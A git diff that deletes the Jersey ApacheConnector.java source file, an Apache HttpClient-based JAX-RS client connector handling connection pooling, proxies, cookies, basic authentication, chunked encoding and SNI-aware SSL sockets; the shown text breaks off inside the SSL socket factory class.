index 8af222a..0000000
--- a/connectors/apache-connector/src/main/java/org/glassfish/jersey/apache/connector/ApacheConnector.java
+++ /dev/null
@@ -1,917 +0,0 @@
-/*
- * Copyright (c) 2010, 2024 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.apache.connector;
-
-import java.io.BufferedInputStream;
-import java.io.ByteArrayInputStream;
-import java.io.ByteArrayOutputStream;
-import java.io.Closeable;
-import java.io.FilterInputStream;
-import java.io.IOException;
-import java.io.InputStream;
-import java.io.OutputStream;
-import java.net.Socket;
-import java.net.URI;
-import java.util.ArrayList;
-import java.util.LinkedList;
-import java.util.List;
-import java.util.Map;
-import java.util.Optional;
-import java.util.concurrent.CancellationException;
-import java.util.concurrent.CompletableFuture;
-import java.util.concurrent.Future;
-import java.util.concurrent.atomic.AtomicLong;
-import java.util.function.Supplier;
-import java.util.logging.Level;
-import java.util.logging.Logger;
-import java.util.stream.Collectors;
-
-import jakarta.ws.rs.ProcessingException;
-import jakarta.ws.rs.client.Client;
-import jakarta.ws.rs.core.Configuration;
-import jakarta.ws.rs.core.HttpHeaders;
-import jakarta.ws.rs.core.MultivaluedMap;
-import jakarta.ws.rs.core.Response;
-
-import javax.net.ssl.HostnameVerifier;
-import javax.net.ssl.SSLContext;
-import javax.net.ssl.SSLSocket;
-import javax.net.ssl.SSLSocketFactory;
-
-import org.glassfish.jersey.client.ClientProperties;
-import org.glassfish.jersey.client.ClientRequest;
-import org.glassfish.jersey.client.ClientResponse;
-import org.glassfish.jersey.client.RequestEntityProcessing;
-import org.glassfish.jersey.client.innate.ClientProxy;
-import org.glassfish.jersey.client.innate.http.SSLParamConfigurator;
-import org.glassfish.jersey.client.spi.AsyncConnectorCallback;
-import org.glassfish.jersey.client.spi.Connector;
-import org.glassfish.jersey.innate.io.InputStreamWrapper;
-import org.glassfish.jersey.internal.util.PropertiesHelper;
-import org.glassfish.jersey.message.internal.HeaderUtils;
-import org.glassfish.jersey.message.internal.OutboundMessageContext;
-import org.glassfish.jersey.message.internal.ReaderWriter;
-import org.glassfish.jersey.message.internal.Statuses;
-import org.apache.http.ConnectionReuseStrategy;
-import org.apache.http.Header;
-import org.apache.http.HttpEntity;
-import org.apache.http.HttpHost;
-import org.apache.http.auth.AuthScope;
-import org.apache.http.auth.UsernamePasswordCredentials;
-import org.apache.http.client.AuthCache;
-import org.apache.http.client.CookieStore;
-import org.apache.http.client.CredentialsProvider;
-import org.apache.http.client.HttpClient;
-import org.apache.http.client.HttpRequestRetryHandler;
-import org.apache.http.client.config.CookieSpecs;
-import org.apache.http.client.config.RequestConfig;
-import org.apache.http.client.methods.CloseableHttpResponse;
-import org.apache.http.client.methods.HttpUriRequest;
-import org.apache.http.client.methods.RequestBuilder;
-import org.apache.http.client.protocol.HttpClientContext;
-import org.apache.http.config.ConnectionConfig;
-import org.apache.http.config.Registry;
-import org.apache.http.config.RegistryBuilder;
-import org.apache.http.conn.ConnectionKeepAliveStrategy;
-import org.apache.http.conn.HttpClientConnectionManager;
-import org.apache.http.conn.ManagedHttpClientConnection;
-import org.apache.http.conn.routing.HttpRoute;
-import org.apache.http.conn.socket.ConnectionSocketFactory;
-import org.apache.http.conn.socket.LayeredConnectionSocketFactory;
-import org.apache.http.conn.socket.PlainConnectionSocketFactory;
-import org.apache.http.conn.ssl.SSLConnectionSocketFactory;
-import org.apache.http.conn.ssl.SSLContexts;
-import org.apache.http.entity.AbstractHttpEntity;
-import org.apache.http.entity.BufferedHttpEntity;
-import org.apache.http.entity.ContentLengthStrategy;
-import org.apache.http.impl.auth.BasicScheme;
-import org.apache.http.impl.client.BasicAuthCache;
-import org.apache.http.impl.client.BasicCookieStore;
-import org.apache.http.impl.client.BasicCredentialsProvider;
-import org.apache.http.impl.client.CloseableHttpClient;
-import org.apache.http.impl.client.HttpClientBuilder;
-import org.apache.http.impl.conn.DefaultManagedHttpClientConnection;
-import org.apache.http.impl.conn.ManagedHttpClientConnectionFactory;
-import org.apache.http.impl.conn.PoolingHttpClientConnectionManager;
-import org.apache.http.impl.io.ChunkedOutputStream;
-import org.apache.http.io.SessionOutputBuffer;
-import org.apache.http.protocol.HttpContext;
-import org.apache.http.util.TextUtils;
-import org.apache.http.util.VersionInfo;
-
-/**
- * A {@link Connector} that utilizes the Apache HTTP Client to send and receive
- * HTTP request and responses.
- * <p/>
- * The following properties are only supported at construction of this class:
- * <ul>
- * <li>{@link ApacheClientProperties#CONNECTION_CLOSING_STRATEGY}</li>
- * <li>{@link ApacheClientProperties#CONNECTION_MANAGER}</li>
- * <li>{@link ApacheClientProperties#CONNECTION_MANAGER_SHARED}</li>
- * <li>{@link ApacheClientProperties#CONNECTION_CLOSING_STRATEGY}</li>
- * <li>{@link ApacheClientProperties#CREDENTIALS_PROVIDER}</li>
- * <li>{@link ApacheClientProperties#DISABLE_COOKIES}</li>
- * <li>{@link ApacheClientProperties#KEEPALIVE_STRATEGY}</li>
- * <li>{@link ApacheClientProperties#PREEMPTIVE_BASIC_AUTHENTICATION}</li>
- * <li>{@link org.glassfish.jersey.client.ClientProperties#PROXY_URI}</li>
- * <li>{@link org.glassfish.jersey.client.ClientProperties#PROXY_USERNAME}</li>
- * <li>{@link org.glassfish.jersey.client.ClientProperties#PROXY_PASSWORD}</li>
- * <li>{@link org.glassfish.jersey.client.ClientProperties#REQUEST_ENTITY_PROCESSING} - default value is {@link org.glassfish.jersey.client.RequestEntityProcessing#CHUNKED}</li>
- * <li>{@link ApacheClientProperties#REQUEST_CONFIG}</li>
- * <li>{@link ApacheClientProperties#RETRY_HANDLER}</li>
- * <li>{@link ApacheClientProperties#REUSE_STRATEGY}</li>
- * <li>{@link ApacheClientProperties#USE_SYSTEM_PROPERTIES}</li>
- * </ul>
- * <p>
- * This connector uses {@link RequestEntityProcessing#CHUNKED chunked encoding} as a default setting. This can
- * be overridden by the {@link ClientProperties#REQUEST_ENTITY_PROCESSING}. By default the
- * {@link ClientProperties#CHUNKED_ENCODING_SIZE} property is only supported by using default connection manager. If custom
- * connection manager needs to be used then chunked encoding size can be set by providing a custom
- * {@link org.apache.http.HttpClientConnection} (via custom {@link org.apache.http.impl.conn.ManagedHttpClientConnectionFactory})
- * and overriding {@code createOutputStream} method.
- * </p>
- * <p>
- * Using of authorization is dependent on the chunk encoding setting. If the entity
- * buffering is enabled, the entity is buffered and authorization can be performed
- * automatically in response to a 401 by sending the request again. When entity buffering
- * is disabled (chunked encoding is used) then the property
- * {@link org.glassfish.jersey.apache.connector.ApacheClientProperties#PREEMPTIVE_BASIC_AUTHENTICATION} must
- * be set to {@code true}.
- * </p>
- * <p>
- * Registration of {@link ApacheHttpClientBuilderConfigurator} instance on the
- * {@link jakarta.ws.rs.client.Client#register(Object) Client} is supported. A configuration provided by
- * {@link ApacheHttpClientBuilderConfigurator} will override the {@link org.apache.http.impl.client.HttpClientBuilder}
- * configuration set by using the properties.
- * </p>
- * <p>
- * If a {@link org.glassfish.jersey.client.ClientResponse} is obtained and an
- * entity is not read from the response then
- * {@link org.glassfish.jersey.client.ClientResponse#close()} MUST be called
- * after processing the response to release connection-based resources.
- * </p>
- * <p>
- * Client operations are thread safe, the HTTP connection may
- * be shared between different threads.
- * </p>
- * <p>
- * If a response entity is obtained that is an instance of {@link Closeable}
- * then the instance MUST be closed after processing the entity to release
- * connection-based resources.
- * </p>
- * <p>
- * The following methods are currently supported: HEAD, GET, POST, PUT, DELETE, OPTIONS, PATCH and TRACE.
- * </p>
- *
- * @author jorgeluisw@mac.com
- * @author Paul Sandoz
- * @author Pavel Bucek
- * @author Arul Dhesiaseelan (aruld at acm.org)
- * @see ApacheClientProperties#CONNECTION_MANAGER
- */
-@SuppressWarnings("deprecation")
-class ApacheConnector implements Connector {
-
-    private static final Logger LOGGER = Logger.getLogger(ApacheConnector.class.getName());
-    private static final String JERSEY_REQUEST_ATTR_NAME = "JerseyRequestAttribute";
-    private static final VersionInfo vi;
-    private static final String release;
-
-    static {
-        vi = VersionInfo.loadVersionInfo("org.apache.http.client", HttpClientBuilder.class.getClassLoader());
-        release = (vi != null) ? vi.getRelease() : VersionInfo.UNAVAILABLE;
-    }
-
-    private final CloseableHttpClient client;
-    private final CookieStore cookieStore;
-    private final boolean preemptiveBasicAuth;
-    private final RequestConfig requestConfig;
-
-    /**
-     * Create the new Apache HTTP Client connector.
-     *
-     * @param client JAX-RS client instance for which the connector is being created.
-     * @param config client configuration.
-     */
-    ApacheConnector(final Client client, final Configuration config) {
-        final Object connectionManager = config.getProperties().get(ApacheClientProperties.CONNECTION_MANAGER);
-        if (connectionManager != null) {
-            if (!(connectionManager instanceof HttpClientConnectionManager)) {
-                LOGGER.log(
-                        Level.WARNING,
-                        LocalizationMessages.IGNORING_VALUE_OF_PROPERTY(
-                                ApacheClientProperties.CONNECTION_MANAGER,
-                                connectionManager.getClass().getName(),
-                                HttpClientConnectionManager.class.getName())
-                );
-            }
-        }
-
-        Object keepAliveStrategy = config.getProperties().get(ApacheClientProperties.KEEPALIVE_STRATEGY);
-        if (keepAliveStrategy != null) {
-            if (!(keepAliveStrategy instanceof ConnectionKeepAliveStrategy)) {
-                LOGGER.log(
-                        Level.WARNING,
-                        LocalizationMessages.IGNORING_VALUE_OF_PROPERTY(
-                                ApacheClientProperties.KEEPALIVE_STRATEGY,
-                                keepAliveStrategy.getClass().getName(),
-                                ConnectionKeepAliveStrategy.class.getName())
-                );
-                keepAliveStrategy = null;
-            }
-        }
-
-        Object reuseStrategy = config.getProperties().get(ApacheClientProperties.REUSE_STRATEGY);
-        if (reuseStrategy != null) {
-            if (!(reuseStrategy instanceof ConnectionReuseStrategy)) {
-                LOGGER.log(
-                        Level.WARNING,
-                        LocalizationMessages.IGNORING_VALUE_OF_PROPERTY(
-                                ApacheClientProperties.REUSE_STRATEGY,
-                                reuseStrategy.getClass().getName(),
-                                ConnectionReuseStrategy.class.getName())
-                );
-                reuseStrategy = null;
-            }
-        }
-
-        Object reqConfig = config.getProperties().get(ApacheClientProperties.REQUEST_CONFIG);
-        if (reqConfig != null) {
-            if (!(reqConfig instanceof RequestConfig)) {
-                LOGGER.log(
-                        Level.WARNING,
-                        LocalizationMessages.IGNORING_VALUE_OF_PROPERTY(
-                                ApacheClientProperties.REQUEST_CONFIG,
-                                reqConfig.getClass().getName(),
-                                RequestConfig.class.getName())
-                );
-                reqConfig = null;
-            }
-        }
-
-        final boolean useSystemProperties =
-                PropertiesHelper.isProperty(config.getProperties(), ApacheClientProperties.USE_SYSTEM_PROPERTIES);
-
-        final SSLContext sslContext = client.getSslContext();
-        final HttpClientBuilder clientBuilder = HttpClientBuilder.create();
-
-        if (useSystemProperties) {
-            clientBuilder.useSystemProperties();
-        }
-        clientBuilder.setConnectionManager(getConnectionManager(client, config, sslContext, useSystemProperties));
-        clientBuilder.setConnectionManagerShared(
-                PropertiesHelper.getValue(config.getProperties(), ApacheClientProperties.CONNECTION_MANAGER_SHARED, false, null));
-        clientBuilder.setSSLContext(sslContext);
-        if (keepAliveStrategy != null) {
-            clientBuilder.setKeepAliveStrategy((ConnectionKeepAliveStrategy) keepAliveStrategy);
-        }
-        if (reuseStrategy != null) {
-            clientBuilder.setConnectionReuseStrategy((ConnectionReuseStrategy) reuseStrategy);
-        }
-
-        final RequestConfig.Builder requestConfigBuilder = RequestConfig.custom();
-
-        final Object credentialsProvider = config.getProperty(ApacheClientProperties.CREDENTIALS_PROVIDER);
-        if (credentialsProvider != null && (credentialsProvider instanceof CredentialsProvider)) {
-            clientBuilder.setDefaultCredentialsProvider((CredentialsProvider) credentialsProvider);
-        }
-
-        final Object retryHandler = config.getProperties().get(ApacheClientProperties.RETRY_HANDLER);
-        if (retryHandler != null && (retryHandler instanceof HttpRequestRetryHandler)) {
-            clientBuilder.setRetryHandler((HttpRequestRetryHandler) retryHandler);
-        }
-
-        final Optional<ClientProxy> proxy = ClientProxy.proxyFromConfiguration(config);
-        proxy.ifPresent(clientProxy -> {
-            final URI u = clientProxy.uri();
-            final HttpHost proxyHost = new HttpHost(u.getHost(), u.getPort(), u.getScheme());
-            if (clientProxy.userName() != null && clientProxy.password() != null) {
-                final CredentialsProvider credsProvider = new BasicCredentialsProvider();
-                credsProvider.setCredentials(
-                        new AuthScope(u.getHost(), u.getPort()),
-                        new UsernamePasswordCredentials(clientProxy.userName(), clientProxy.password())
-                );
-                clientBuilder.setDefaultCredentialsProvider(credsProvider);
-            }
-            clientBuilder.setProxy(proxyHost);
-        });
-
-        final Boolean preemptiveBasicAuthProperty = (Boolean) config.getProperties()
-                .get(ApacheClientProperties.PREEMPTIVE_BASIC_AUTHENTICATION);
-        this.preemptiveBasicAuth = (preemptiveBasicAuthProperty != null) ? preemptiveBasicAuthProperty : false;
-
-        final boolean ignoreCookies = PropertiesHelper.isProperty(config.getProperties(), ApacheClientProperties.DISABLE_COOKIES);
-
-        if (reqConfig != null) {
-            final RequestConfig.Builder reqConfigBuilder = RequestConfig.copy((RequestConfig) reqConfig);
-            if (ignoreCookies) {
-                reqConfigBuilder.setCookieSpec(CookieSpecs.IGNORE_COOKIES);
-            }
-            requestConfig = reqConfigBuilder.build();
-        } else {
-            if (ignoreCookies) {
-                requestConfigBuilder.setCookieSpec(CookieSpecs.IGNORE_COOKIES);
-            }
-            requestConfig = requestConfigBuilder.build();
-        }
-
-        if (requestConfig.getCookieSpec() == null || !requestConfig.getCookieSpec().equals(CookieSpecs.IGNORE_COOKIES)) {
-            this.cookieStore = new BasicCookieStore();
-            clientBuilder.setDefaultCookieStore(cookieStore);
-        } else {
-            this.cookieStore = null;
-        }
-        clientBuilder.setDefaultRequestConfig(requestConfig);
-
-        LinkedList<Object> contracts = config.getInstances().stream()
-                .filter(ApacheHttpClientBuilderConfigurator.class::isInstance)
-                .collect(Collectors.toCollection(LinkedList::new));
-
-        HttpClientBuilder configuredBuilder = clientBuilder;
-        for (Object configurator : contracts) {
-            configuredBuilder = ((ApacheHttpClientBuilderConfigurator) configurator).configure(configuredBuilder);
-        }
-
-        this.client = configuredBuilder.build();
-    }
-
-    private HttpClientConnectionManager getConnectionManager(final Client client,
-                                                             final Configuration config,
-                                                             final SSLContext sslContext,
-                                                             final boolean useSystemProperties) {
-        final Object cmObject = config.getProperties().get(ApacheClientProperties.CONNECTION_MANAGER);
-
-        // Connection manager from configuration.
-        if (cmObject != null) {
-            if (cmObject instanceof HttpClientConnectionManager) {
-                return (HttpClientConnectionManager) cmObject;
-            } else {
-                LOGGER.log(
-                        Level.WARNING,
-                        LocalizationMessages.IGNORING_VALUE_OF_PROPERTY(
-                                ApacheClientProperties.CONNECTION_MANAGER,
-                                cmObject.getClass().getName(),
-                                HttpClientConnectionManager.class.getName())
-                );
-            }
-        }
-
-        // Create custom connection manager.
-        return createConnectionManager(
-                client,
-                config,
-                sslContext,
-            useSystemProperties);
-    }
-
-    private HttpClientConnectionManager createConnectionManager(
-            final Client client,
-            final Configuration config,
-            final SSLContext sslContext,
-            final boolean useSystemProperties) {
-
-        final String[] supportedProtocols = useSystemProperties ? split(
-                System.getProperty("https.protocols")) : null;
-        final String[] supportedCipherSuites = useSystemProperties ? split(
-                System.getProperty("https.cipherSuites")) : null;
-
-        HostnameVerifier hostnameVerifier = client.getHostnameVerifier();
-
-        final LayeredConnectionSocketFactory sslSocketFactory;
-        if (sslContext != null) {
-            sslSocketFactory = new SniSSLConnectionSocketFactory(
-                    sslContext, supportedProtocols, supportedCipherSuites, hostnameVerifier);
-        } else {
-            if (useSystemProperties) {
-                sslSocketFactory = new SniSSLConnectionSocketFactory(
-                        (SSLSocketFactory) SSLSocketFactory.getDefault(),
-                        supportedProtocols, supportedCipherSuites, hostnameVerifier);
-            } else {
-                sslSocketFactory = new SniSSLConnectionSocketFactory(
-                        SSLContexts.createDefault(),
-                        hostnameVerifier);
-            }
-        }
-
-        final Registry<ConnectionSocketFactory> registry = RegistryBuilder.<ConnectionSocketFactory>create()
-                .register("http", PlainConnectionSocketFactory.getSocketFactory())
-                .register("https", sslSocketFactory)
-                .build();
-
-        final Integer chunkSize = ClientProperties.getValue(config.getProperties(),
-                ClientProperties.CHUNKED_ENCODING_SIZE, ClientProperties.DEFAULT_CHUNK_SIZE, Integer.class);
-
-        final PoolingHttpClientConnectionManager connectionManager =
-                new PoolingHttpClientConnectionManager(registry, new ConnectionFactory(chunkSize));
-
-        if (useSystemProperties) {
-            String s = System.getProperty("http.keepAlive", "true");
-            if ("true".equalsIgnoreCase(s)) {
-                s = System.getProperty("http.maxConnections", "5");
-                final int max = Integer.parseInt(s);
-                connectionManager.setDefaultMaxPerRoute(max);
-                connectionManager.setMaxTotal(2 * max);
-            }
-        }
-
-        return connectionManager;
-    }
-
-    private static String[] split(final String s) {
-        if (TextUtils.isBlank(s)) {
-            return null;
-        }
-        return s.split(" *, *");
-    }
-
-    /**
-     * Get the {@link HttpClient}.
-     *
-     * @return the {@link HttpClient}.
-     */
-    @SuppressWarnings("UnusedDeclaration")
-    public HttpClient getHttpClient() {
-        return client;
-    }
-
-    /**
-     * Get the {@link CookieStore}.
-     *
-     * @return the {@link CookieStore} instance or {@code null} when {@value ApacheClientProperties#DISABLE_COOKIES} set to
-     * {@code true}.
-     */
-    public CookieStore getCookieStore() {
-        return cookieStore;
-    }
-
-    @Override
-    public ClientResponse apply(final ClientRequest clientRequest) throws ProcessingException {
-        final HttpUriRequest request = getUriHttpRequest(clientRequest);
-        final Map<String, String> clientHeadersSnapshot = writeOutBoundHeaders(clientRequest, request);
-        final HttpHost httpHost = getHost(request);
-
-        try {
-            final CloseableHttpResponse response;
-            final HttpClientContext context = HttpClientContext.create();
-
-            if (preemptiveBasicAuth) {
-                final AuthCache authCache = new BasicAuthCache();
-                final BasicScheme basicScheme = new BasicScheme();
-                authCache.put(httpHost, basicScheme);
-                context.setAuthCache(authCache);
-            }
-
-            // If a request-specific CredentialsProvider exists, use it instead of the default one
-            CredentialsProvider credentialsProvider =
-                    clientRequest.resolveProperty(ApacheClientProperties.CREDENTIALS_PROVIDER, CredentialsProvider.class);
-            if (credentialsProvider != null) {
-                context.setCredentialsProvider(credentialsProvider);
-            }
-
-            context.setAttribute(JERSEY_REQUEST_ATTR_NAME, clientRequest);
-            response = client.execute(httpHost, request, context);
-            HeaderUtils.checkHeaderChanges(clientHeadersSnapshot, clientRequest.getHeaders(),
-                    this.getClass().getName(), clientRequest.getConfiguration());
-
-            final Response.StatusType status = response.getStatusLine().getReasonPhrase() == null
-                    ? Statuses.from(response.getStatusLine().getStatusCode())
-                    : Statuses.from(response.getStatusLine().getStatusCode(), response.getStatusLine().getReasonPhrase());
-
-            final ClientResponse responseContext = new ClientResponse(status, clientRequest);
-            final List<URI> redirectLocations = context.getRedirectLocations();
-            if (redirectLocations != null && !redirectLocations.isEmpty()) {
-                responseContext.setResolvedRequestUri(redirectLocations.get(redirectLocations.size() - 1));
-            }
-
-            final Header[] respHeaders = response.getAllHeaders();
-            final MultivaluedMap<String, String> headers = responseContext.getHeaders();
-            for (final Header header : respHeaders) {
-                final String headerName = header.getName();
-                List<String> list = headers.get(headerName);
-                if (list == null) {
-                    list = new ArrayList<>();
-                }
-                list.add(header.getValue());
-                headers.put(headerName, list);
-            }
-
-            final HttpEntity entity = response.getEntity();
-
-            if (entity != null) {
-                if (headers.get(HttpHeaders.CONTENT_LENGTH) == null && entity.getContentLength() >= 0) {
-                    headers.add(HttpHeaders.CONTENT_LENGTH, String.valueOf(entity.getContentLength()));
-                }
-
-                final Header contentEncoding = entity.getContentEncoding();
-                if (headers.get(HttpHeaders.CONTENT_ENCODING) == null && contentEncoding != null) {
-                    headers.add(HttpHeaders.CONTENT_ENCODING, contentEncoding.getValue());
-                }
-            }
-
-            try {
-                final ConnectionClosingMechanism closingMechanism = new ConnectionClosingMechanism(clientRequest, request);
-                responseContext.setEntityStream(getInputStream(response, closingMechanism, () -> clientRequest.isCancelled()));
-            } catch (final IOException e) {
-                LOGGER.log(Level.SEVERE, null, e);
-            }
-
-            return responseContext;
-        } catch (final Exception e) {
-            throw new ProcessingException(e);
-        }
-    }
-
-    @Override
-    public Future<?> apply(final ClientRequest request, final AsyncConnectorCallback callback) {
-        try {
-            ClientResponse response = apply(request);
-            callback.response(response);
-            return CompletableFuture.completedFuture(response);
-        } catch (Throwable t) {
-            callback.failure(t);
-            CompletableFuture<Object> future = new CompletableFuture<>();
-            future.completeExceptionally(t);
-            return future;
-        }
-    }
-
-    @Override
-    public String getName() {
-        return "Apache HttpClient " + release;
-    }
-
-    @Override
-    public void close() {
-        try {
-            client.close();
-        } catch (final IOException e) {
-            throw new ProcessingException(LocalizationMessages.FAILED_TO_STOP_CLIENT(), e);
-        }
-    }
-
-    private HttpHost getHost(final HttpUriRequest request) {
-        return new HttpHost(request.getURI().getHost(), request.getURI().getPort(), request.getURI().getScheme());
-    }
-
-    private HttpUriRequest getUriHttpRequest(final ClientRequest clientRequest) {
-        final RequestConfig.Builder requestConfigBuilder = RequestConfig.copy(requestConfig);
-
-        final int connectTimeout = clientRequest.resolveProperty(ClientProperties.CONNECT_TIMEOUT, -1);
-        final int socketTimeout = clientRequest.resolveProperty(ClientProperties.READ_TIMEOUT, -1);
-
-        if (connectTimeout >= 0) {
-            requestConfigBuilder.setConnectTimeout(connectTimeout);
-        }
-        if (socketTimeout >= 0) {
-            requestConfigBuilder.setSocketTimeout(socketTimeout);
-        }
-
-        final Boolean redirectsEnabled =
-                clientRequest.resolveProperty(ClientProperties.FOLLOW_REDIRECTS, requestConfig.isRedirectsEnabled());
-        requestConfigBuilder.setRedirectsEnabled(redirectsEnabled);
-
-        final Boolean bufferingEnabled = clientRequest.resolveProperty(ClientProperties.REQUEST_ENTITY_PROCESSING,
-                RequestEntityProcessing.class) == RequestEntityProcessing.BUFFERED;
-        final HttpEntity entity = getHttpEntity(clientRequest, bufferingEnabled);
-
-        return RequestBuilder
-                .create(clientRequest.getMethod())
-                .setUri(clientRequest.getUri())
-                .setConfig(requestConfigBuilder.build())
-                .setEntity(entity)
-                .build();
-    }
-
-    private HttpEntity getHttpEntity(final ClientRequest clientRequest, final boolean bufferingEnabled) {
-        final Object entity = clientRequest.getEntity();
-
-        if (entity == null) {
-            return null;
-        }
-
-        if (HttpEntity.class.isInstance(entity)) {
-            return wrapHttpEntity(clientRequest, (HttpEntity) entity);
-        }
-
-        final AbstractHttpEntity httpEntity = new AbstractHttpEntity() {
-            @Override
-            public boolean isRepeatable() {
-                return false;
-            }
-
-            @Override
-            public long getContentLength() {
-                return -1;
-            }
-
-            @Override
-            public InputStream getContent() throws IOException, IllegalStateException {
-                if (bufferingEnabled) {
-                    final ByteArrayOutputStream buffer = new ByteArrayOutputStream(512);
-                    writeTo(buffer);
-                    return new ByteArrayInputStream(buffer.toByteArray());
-                } else {
-                    return null;
-                }
-            }
-
-            @Override
-            public void writeTo(final OutputStream outputStream) throws IOException {
-                clientRequest.setStreamProvider(new OutboundMessageContext.StreamProvider() {
-                    @Override
-                    public OutputStream getOutputStream(final int contentLength) throws IOException {
-                        return outputStream;
-                    }
-                });
-                clientRequest.writeEntity();
-            }
-
-            @Override
-            public boolean isStreaming() {
-                return false;
-            }
-        };
-
-        return bufferEntity(httpEntity, bufferingEnabled);
-    }
-
-    private HttpEntity wrapHttpEntity(final ClientRequest clientRequest, final HttpEntity originalEntity) {
-        final boolean bufferingEnabled = BufferedHttpEntity.class.isInstance(originalEntity);
-
-        try {
-            clientRequest.setEntity(originalEntity.getContent());
-        } catch (IOException e) {
-            throw new ProcessingException(LocalizationMessages.ERROR_READING_HTTPENTITY_STREAM(e.getMessage()), e);
-        }
-
-        final AbstractHttpEntity httpEntity = new AbstractHttpEntity() {
-            @Override
-            public boolean isRepeatable() {
-                return originalEntity.isRepeatable();
-            }
-
-            @Override
-            public long getContentLength() {
-                return originalEntity.getContentLength();
-            }
-
-            @Override
-            public Header getContentType() {
-                return originalEntity.getContentType();
-            }
-
-            @Override
-            public Header getContentEncoding() {
-                return originalEntity.getContentEncoding();
-            }
-
-            @Override
-            public InputStream getContent() throws IOException, IllegalStateException {
-               return originalEntity.getContent();
-            }
-
-            @Override
-            public void writeTo(final OutputStream outputStream) throws IOException {
-                clientRequest.setStreamProvider(new OutboundMessageContext.StreamProvider() {
-                    @Override
-                    public OutputStream getOutputStream(final int contentLength) throws IOException {
-                        return outputStream;
-                    }
-                });
-                clientRequest.writeEntity();
-            }
-
-            @Override
-            public boolean isStreaming() {
-                return originalEntity.isStreaming();
-            }
-
-            @Override
-            public boolean isChunked() {
-                return originalEntity.isChunked();
-            }
-        };
-
-        return bufferEntity(httpEntity, bufferingEnabled);
-    }
-
-    private static HttpEntity bufferEntity(HttpEntity httpEntity, boolean bufferingEnabled) {
-        if (bufferingEnabled) {
-            try {
-                return new BufferedHttpEntity(httpEntity);
-            } catch (final IOException e) {
-                throw new ProcessingException(LocalizationMessages.ERROR_BUFFERING_ENTITY(), e);
-            }
-        } else {
-            return httpEntity;
-        }
-    }
-
-    private static Map<String, String> writeOutBoundHeaders(final ClientRequest clientRequest,
-                                                            final HttpUriRequest request) {
-        final Map<String, String> stringHeaders =
-                HeaderUtils.asStringHeadersSingleValue(clientRequest.getHeaders(), clientRequest.getConfiguration());
-
-        for (final Map.Entry<String, String> e : stringHeaders.entrySet()) {
-            request.addHeader(e.getKey(), e.getValue());
-        }
-        return stringHeaders;
-    }
-
-    private static InputStream getInputStream(final CloseableHttpResponse response,
-                                              final ConnectionClosingMechanism closingMechanism,
-                                              final Supplier<Boolean> isCancelled) throws IOException {
-        final InputStream inputStream;
-
-        if (response.getEntity() == null) {
-            inputStream = new ByteArrayInputStream(new byte[0]);
-        } else {
-            final InputStream i = new CancellableInputStream(response.getEntity().getContent(), isCancelled);
-            if (i.markSupported()) {
-                inputStream = i;
-            } else {
-                inputStream = ReaderWriter.AUTOSIZE_BUFFER ? new BufferedInputStream(i)
-                        : new BufferedInputStream(i, ReaderWriter.BUFFER_SIZE);
-            }
-        }
-
-        return closingMechanism.getEntityStream(inputStream, response);
-    }
-
-    /**
-     * The way the Apache CloseableHttpResponse is to be closed.
-     * See https://github.com/eclipse-ee4j/jersey/issues/4321
-     * {@link ApacheClientProperties#CONNECTION_CLOSING_STRATEGY}
-     */
-    private final class ConnectionClosingMechanism {
-        private ApacheConnectionClosingStrategy connectionClosingStrategy = null;
-        private final ClientRequest clientRequest;
-        private final HttpUriRequest apacheRequest;
-
-        private ConnectionClosingMechanism(ClientRequest clientRequest, HttpUriRequest apacheRequest) {
-            this.clientRequest = clientRequest;
-            this.apacheRequest = apacheRequest;
-            Object closingStrategyProperty = clientRequest
-                    .resolveProperty(ApacheClientProperties.CONNECTION_CLOSING_STRATEGY, Object.class);
-            if (closingStrategyProperty != null) {
-                if (ApacheConnectionClosingStrategy.class.isInstance(closingStrategyProperty)) {
-                    connectionClosingStrategy = (ApacheConnectionClosingStrategy) closingStrategyProperty;
-                } else {
-                    LOGGER.log(
-                            Level.WARNING,
-                            LocalizationMessages.IGNORING_VALUE_OF_PROPERTY(
-                                    ApacheClientProperties.CONNECTION_CLOSING_STRATEGY,
-                                    closingStrategyProperty,
-                                    ApacheConnectionClosingStrategy.class.getName())
-                    );
-                }
-            }
-
-            if (connectionClosingStrategy == null) {
-                if (vi.getRelease().compareTo("4.5") > 0) {
-                    connectionClosingStrategy = ApacheConnectionClosingStrategy.GracefulClosingStrategy.INSTANCE;
-                } else {
-                    connectionClosingStrategy = ApacheConnectionClosingStrategy.ImmediateClosingStrategy.INSTANCE;
-                }
-            }
-        }
-
-        private InputStream getEntityStream(final InputStream inputStream,
-                                            final CloseableHttpResponse response) {
-            InputStream filterStream = new FilterInputStream(inputStream) {
-                @Override
-                public void close() throws IOException {
-                    connectionClosingStrategy.close(clientRequest, apacheRequest, response, in);
-                }
-            };
-            return filterStream;
-        }
-    }
-
-    private static class ConnectionFactory extends ManagedHttpClientConnectionFactory {
-
-        private static final AtomicLong COUNTER = new AtomicLong();
-
-        private final int chunkSize;
-
-        private ConnectionFactory(final int chunkSize) {
-            this.chunkSize = chunkSize;
-        }
-
-        @Override
-        public ManagedHttpClientConnection create(final HttpRoute route, final ConnectionConfig config) {
-            final String id = "http-outgoing-" + Long.toString(COUNTER.getAndIncrement());
-
-            return new HttpClientConnection(id, config.getBufferSize(), chunkSize);
-        }
-    }
-
-    private static class HttpClientConnection extends DefaultManagedHttpClientConnection {
-
-        private final int chunkSize;
-
-        private HttpClientConnection(final String id, final int buffersize, final int chunkSize) {
-            super(id, buffersize);
-
-            this.chunkSize = chunkSize;
-        }
-
-        @Override
-        protected OutputStream createOutputStream(final long len, final SessionOutputBuffer outbuffer) {
-            if (len == ContentLengthStrategy.CHUNKED) {
-                return new ChunkedOutputStream(chunkSize, outbuffer);
-            }
-            return super.createOutputStream(len, outbuffer);
-        }
-    }
-
-    private static final class SniSSLConnectionSocketFactory extends SSLConnectionSocketFactory {
-
-        private final ThreadLocal<HttpContext> httpContexts = new ThreadLocal<>();
-
-        public SniSSLConnectionSocketFactory(final SSLContext sslContext,
-                                             final String[] supportedProtocols,
-                                             final String[] supportedCipherSuites,
-                                             final HostnameVerifier hostnameVerifier) {
